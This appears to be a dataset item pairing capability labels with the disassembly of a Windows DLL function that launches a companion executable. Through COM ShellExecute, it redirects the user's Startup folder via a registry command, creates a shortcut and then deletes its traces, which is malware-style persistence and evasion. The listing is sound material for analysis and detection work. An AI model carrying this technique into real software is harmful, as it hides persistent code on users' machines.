Function at 0x10003130
Capabilities:
Check if file exists
Create process on windows
Delete file
Get common file path
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x93c
mov eax, dword [0x100b1040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x638]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x104
lea eax, [ebp - 0x530]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x1000319a
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.GetModuleFileName_failed___d_._n
call fcn.10001270
add esp, 8
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000a5f0
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x530]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
lea eax, [ebp - 0x530]
push eax
push str._sEP.exe
push 0xffffffffffffffff
lea eax, [ebp - 0x320]
push 0x104
push eax
call fcn.10001350
add esp, 0x14
lea eax, [ebp - 0x320]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x100031fd
push str.libcef.exe_not_found_in_the_current_directory._n
call fcn.10001270
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000a5f0
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x8f8]
mov dword [ebp - 0x8e8], 0x44
push eax
lea eax, [ebp - 0x8e8]
xorps xmm0, xmm0
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x320]
movlpd qword [ebp - 0x8e4], xmm0
push eax
push 0
movlpd qword [ebp - 0x8dc], xmm0
movlpd qword [ebp - 0x8d4], xmm0
movlpd qword [ebp - 0x8cc], xmm0
movlpd qword [ebp - 0x8c4], xmm0
movlpd qword [ebp - 0x8bc], xmm0
movlpd qword [ebp - 0x8b4], xmm0
movlpd qword [ebp - 0x8ac], xmm0
movups xmmword [ebp - 0x8f8], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x100032a8
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.CreateProcess_failed___d_._n
call fcn.10001270
add esp, 8
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000a5f0
mov esp, ebp
pop ebp
ret
mov edi, dword [sym.imp.ole32.dll_CoInitialize]
push 0
call edi
lea eax, [ebp - 0x8a0]
push eax
call dword [sym.imp.ole32.dll_CoCreateGuid]
test eax, eax
jne 0x10003305
movzx eax, byte [ebp - 0x896]
push eax
movzx eax, byte [ebp - 0x897]
push eax
movzx eax, byte [ebp - 0x898]
push eax
movzx eax, word [ebp - 0x89a]
push eax
movzx eax, word [ebp - 0x89c]
push eax
push dword [ebp - 0x8a0]
push str._08X_04X_04x_02X_02X_02X
push 0x40
push 0x100b3040
call fcn.10001310
add esp, 0x24
call dword [sym.imp.ole32.dll_CoUninitialize]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x638]
push 0x100b3040
push eax
lea eax, [ebp - 0x428]
push str._s_s.lnk
push eax
call esi
push 0
lea eax, [ebp - 0x740]
push str.add__HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerUser_Shell_Folders___v_Startup__d___s___f
push eax
call esi
add esp, 0x1c
lea eax, [ebp - 0x740]
lea ecx, [ebp - 0x428]
push eax
call fcn.10002de0
add esp, 4
lea eax, [ebp - 0x428]
push eax
lea eax, [ebp - 0x110]
push str.__s_
push eax
call esi
add esp, 0xc
lea eax, [ebp - 0x320]
push eax
lea eax, [ebp - 0x218]
push str.::20D04FE0_3AEA_1069_A2D8_08002B30309D_s
push eax
call esi
add esp, 0xc
mov dword [ebp - 0x88c], 0xc08afd90
mov dword [ebp - 0x888], 0x11d1f2a1
mov dword [ebp - 0x884], 0xa0005584
mov dword [ebp - 0x880], 0x80381fc9
push 0
mov dword [ebp - 0x87c], 0xd30c1661
mov dword [ebp - 0x878], 0x11d0cdaf
mov dword [ebp - 0x874], 0xc0003e8a
mov dword [ebp - 0x870], 0x6ee2c94f
mov dword [ebp - 0x92c], 0
mov dword [ebp - 0x928], 0
mov dword [ebp - 0x924], 0
mov dword [ebp - 0x920], 0
mov dword [ebp - 0x8fc], 0
call edi
lea eax, [ebp - 0x8fc]
push eax
lea eax, [ebp - 0x87c]
push eax
push 4
push 0
lea eax, [ebp - 0x88c]
push eax
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x10003730
mov eax, dword [ebp - 0x8fc]
mov ebx, dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [ebp - 0x914], str.Document
mov eax, dword [eax]
mov esi, dword [eax + 0x14]
call ebx
lea ecx, [ebp - 0x86c]
push ecx
push eax
push 1
lea eax, [ebp - 0x914]
push eax
push 0x1002d2d0
push dword [ebp - 0x8fc]
call esi
test eax, eax
js 0x100036e8
lea eax, [ebp - 0x910]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov ecx, dword [ebp - 0x8fc]
lea edx, [ebp - 0x910]
push 0
push 0
push edx
mov eax, dword [ecx]
lea edx, [ebp - 0x92c]
push edx
push 2
push 0x400
push 0x1002d2d0
push dword [ebp - 0x86c]
push ecx
call dword [eax + 0x18]
test eax, eax
js 0x100036e8
mov edi, dword [ebp - 0x908]
mov dword [ebp - 0x918], str.Application
mov eax, dword [edi]
mov esi, dword [eax + 0x14]
call ebx
lea ecx, [ebp - 0x86c]
push ecx
push eax
push 1
lea eax, [ebp - 0x918]
push eax
push 0x1002d2d0
push edi
call esi
test eax, eax
js 0x100036e8
lea eax, [ebp - 0x910]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [edi]
lea ecx, [ebp - 0x910]
push 0
push 0
push ecx
lea ecx, [ebp - 0x92c]
push ecx
push 2
push 0x400
push 0x1002d2d0
push dword [ebp - 0x86c]
push edi
call dword [eax + 0x18]
test eax, eax
js 0x100036e8
mov edi, dword [ebp - 0x908]
mov dword [ebp - 0x91c], str.ShellExecute
mov eax, dword [edi]
mov esi, dword [eax + 0x14]
call ebx
lea ecx, [ebp - 0x86c]
push ecx
push eax
push 1
lea eax, [ebp - 0x91c]
push eax
push 0x1002d2d0
push edi
call esi
test eax, eax
js 0x100036e8
mov eax, 8
lea ecx, [ebp - 0x110]
mov word [ebp - 0x868], ax
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10003580
push 0
push 0
sub ecx, edx
lea eax, [ebp - 0x110]
push ecx
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ebx, eax
xor ecx, ecx
mov edx, 2
lea eax, [ebx + 1]
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.1000ab5d
lea ecx, [ebp - 0x110]
add esp, 4
mov esi, eax
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100035c8
push ebx
push esi
sub ecx, edx
lea eax, [ebp - 0x110]
push ecx
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xor eax, eax
push esi
mov word [esi + ebx*2], ax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [ebp - 0x860], eax
lea ecx, [ebp - 0x218]
mov eax, 8
lea edx, [ecx + 1]
mov word [ebp - 0x858], ax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10003610
push 0
push 0
sub ecx, edx
lea eax, [ebp - 0x218]
push ecx
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ebx, eax
xor ecx, ecx
mov edx, 2
lea eax, [ebx + 1]
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.1000ab5d
lea ecx, [ebp - 0x218]
add esp, 4
mov esi, eax
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10003658
push ebx
push esi
sub ecx, edx
lea eax, [ebp - 0x218]
push ecx
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xor eax, eax
push esi
mov word [esi + ebx*2], ax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
push 0
push 0
lea ecx, [ebp - 0x910]
mov dword [ebp - 0x850], eax
push ecx
lea ecx, [ebp - 0x93c]
mov dword [ebp - 0x934], 2
push ecx
push 1
lea eax, [ebp - 0x868]
mov dword [ebp - 0x930], 0
push 0x400
mov dword [ebp - 0x93c], eax
lea eax, [ebp - 0x890]
push 0x1002d2d0
push dword [ebp - 0x86c]
mov dword [ebp - 0x938], eax
mov eax, dword [edi]
push edi
mov dword [ebp - 0x890], 0xfffffffd
call dword [eax + 0x18]
lea eax, [ebp - 0x910]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [ebp - 0x8fc]
lea edx, [ebp - 0x910]
push 0
push 0
push edx
mov ecx, dword [eax]
lea edx, [ebp - 0x92c]
push edx
push 1
push 0x400
push 0x1002d2d0
push 0x12e
push eax
call dword [ecx + 0x18]
mov eax, dword [ebp - 0x8fc]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
call fcn.10004020
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x320]
push eax
call esi
lea eax, [ebp - 0x848]
push eax
call esi
lea eax, [ebp - 0x428]
push eax
call esi
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000a5f0
mov esp, ebp
pop ebp
ret